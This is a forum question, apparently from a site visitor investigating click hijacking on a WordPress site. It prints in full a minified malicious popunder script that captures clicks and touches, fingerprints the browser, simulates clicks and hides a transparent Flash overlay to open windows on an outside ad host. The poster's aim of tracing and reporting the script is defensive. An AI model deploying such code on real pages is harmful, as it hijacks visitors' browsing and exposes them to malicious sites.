When surfing a popular Wordpress website on my mobile, clicking on a link to an article within would sometimes open a new window to a malicious website or launch the Apps Store. I am interested to find out how this is being done using the developer tools. I tried launching the said website using Google Chrome and simulating my mobile user-agent. Indeed, some random malicious website is being opened in a new window.
However, hovering above the links on the original site do not give any hint that a malicious link would be opened. Also, I could not trace the malicious link by searching through the source code of the rendered HTML page on Chrome. It seems that some Javascript and CSS magic are applied.
UPDATE:
I managed to track the clickjacking source to a dynamically loaded script below:
!function () {
var e = document,
t = _gunggo,
a = t.browser,
o = t.lib,
i = t.pop = t.pop || {
placeHolder: function (e) {
t.pop.trigger(e)
}
},
r = t.settings.pop = t.settings.pop || {
};
r.kw = r.kw || '',
r.ref = r.ref || '',
r.type = r.type || 'popunder',
r.infinite = r.premium || r.infinite || '',
o.attEvt(e, 'mousedown', i.placeHolder, 1),
o.attEvt(e, 'click', i.placeHolder, 1),
o.attEvt(e, 'touchstart', i.placeHolder, 1),
(r.geotarget || r.price) && o.passGeo(),
i.enableFlashHack = 0,
i.url = function () {
var e = navigator,
a = screen;
return '//ad.directrev.com/RealMedia/ads/adstream_sx.ads/' + t.settings.siteID + '/1' + 100000000000000000 * Math.random() + '@x10?uln=' + (e.language ? e.language : e.userLanguage).toLowerCase() + '&je=' + e.javaEnabled() + '&ce=' + e.cookieEnabled + '&sr=' + a.width + 'x' + a.height + '&kw=' + r.kw + '&ref=' + r.ref
},
i.lock = function (e) {
e = e || window.event;
var t = e.target || e.srcElement;
t = t && t.tagName ? t.tagName.toUpperCase() : 0,
e.cancelBubble = 1,
e.preventDefault && e.preventDefault(),
e.stopImmediatePropagation && e.stopImmediatePropagation(),
e.stopPropagation && e.stopPropagation(),
e.stop && e.stop()
},
i.trigger = function (e) {
var n = t.settings;
o.saveActiveViews(r, '_g.pop.views'),
o.saveActiveViews = function () {
};
try {
if (t.trace.warn('user click'), i.pause) return;
if ('Chrome' != a.agent && 'mousedown' == e.type || 'Firefox' == a.agent && 2 == e.button) return;
if (r.ostarget && !o.passOS(r)) return;
if (r.mobileOnly && !a.isMobile()) return;
if (r.browserTarget && !o.passBrowser(r)) return;
if (r.freqcap && !o.passFreqCap(r, '_g.pop')) return;
if (r.activeViews && !o.passActiveViews(r, '_g.pop.views')) return;
if (r.geotarget && !o.passGeo(null, r)) return;
r.price && (n.siteID = o.getSiteIDByGeo(r, n.siteID)),
t.trace.warn('pass checks'),
n.debug && 0 !== r.mode && (r.mode = r.mode || 10),
r.mode = !n.debug && (r.mode < 10 && 0 !== r.mode || 'undefined' == typeof r.mode) ? 10 : r.mode,
r.infinite && (r.mode = r.infinite),
o.log('mode: ' + r.mode)
} catch (s) {
return void o.log(s)
}
'tab' == r.type && 'Chrome' == a.agent ? (i.botClick(i.url()), i.pause = 1, setTimeout(i.clear, 1)) : i.enableFlashHack && i.swf.PercentLoaded() > 0 && 'HTML' != e.target.tagName && 'OBJECT' != e.target.tagName ? 0 == e.button && (i.swf.style.width = i.swf.style.height = '100%', setTimeout(function () {
i.swf.style.width = i.swf.style.height = '1px'
}, 2000)) : i.clickHandler()
},
i.clickHandler = function () {
i.pause = 1,
t.trace.warn('new window');
var e = screen,
o = r.width || e.width,
s = r.height || e.height,
l = a.agent,
p = 'tab' == r.type ? '' : 'width=' + o + ',height=' + s + ',top=' + (e.height - s) / 2 + ',left=' + (e.width - o) / 2 + ',resizable=no,scrollbars=yes,toolbar=no,location=no,directories=no,status=no,menubar=no,copyhistory=no';
'swaptab' != r.type ? n = open(i.url(), '_blank', p) : (n = open(self.location, '_blank', ''), self.location = i.url()),
setTimeout(i.clear, 1),
'popup' != r.type && ('Firefox' == l && n.window.open('about:blank').close(), 'Explorer' == l && (n.blur(), n.opener.focus()))
},
i.clear = function () {
t.trace.warn('clean up'),
i.pause = 1;
var a = i.swf;
r.mode >= 0 && o.saveFreq(r, '_g.pop', r.domain ? r.domain : null),
r.infinite && (r.mode = r.infinite),
r.mode <= 0 ? (o.detEvt(e, 'click', i.placeHolder, 1), o.detEvt(e, 'mousedown', i.placeHolder, 1), o.detEvt(e, 'touchstart', i.placeHolder, 1), setTimeout(function () {
a && e.body.removeChild(a)
}, 200)) : setTimeout(function () {
r.freqcap = null,
r.mode = i.pause = 0,
a && (a.style.visibility = ''),
t.trace.warn('reopen start')
}, 1000 * r.mode),
a && (a.style.visibility = 'hidden', a.style.width = a.style.height = '1px')
},
i.botClick = function (t) {
var a = e.createElement('a'),
o = e.createEvent('MouseEvents');
a.href = t,
o.initMouseEvent('click', 1, 1, window, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, null),
a.dispatchEvent(o)
},
i.flash = function () {
o.log('body loaded');
var t = HTMLElement.prototype,
a = e.createElement('param'),
n = e.createElement('object');
t.attr = t.setAttribute,
a.attr('name', 'allowscriptaccess'),
a.attr('value', 'always'),
n.appendChild(a),
a = e.createElement('param'),
a.attr('name', 'wmode'),
a.attr('value', 'transparent'),
n.appendChild(a),
n.attr('data', '//az413505.vo.msecnd.net/images/g.swf'),
n.attr('style', 'position:fixed;width:1px;height:1px;z-index:999999;overflow:hidden;left:0px'),
e.body.insertBefore(n, e.body.firstChild),
i.swf = n,
e.removeEventListener('DOMContentLoaded', i.flash)
},
i.init = function () {
try {
o.detEvt(e, 'mousedown', _gunggo.pop.open, 1),
o.detEvt(e, 'click', _gunggo.pop.open, 1)
} catch (t) {
}
},
i.clkPop = i.trigger,
a.flash && 'popunder' == r.type && 'Chrome' == a.agent && a.version <= 42 && (e.body ? i.flash() : e.addEventListener('DOMContentLoaded', i.flash), i.enableFlashHack = 1)
}();
Correct me if I am wrong, it seems that user click is being suppressed with i.lock function and a click is simulated with i.botClick function on a dynamically created link element.
Without painstakingly debugging the page by stepping through 20 over Javascripts, is there a quick and easy way to identify the source of such a clickjacking attack so that I can warn the site owner, who may not be well-versed in javascript, about this hidden problem.
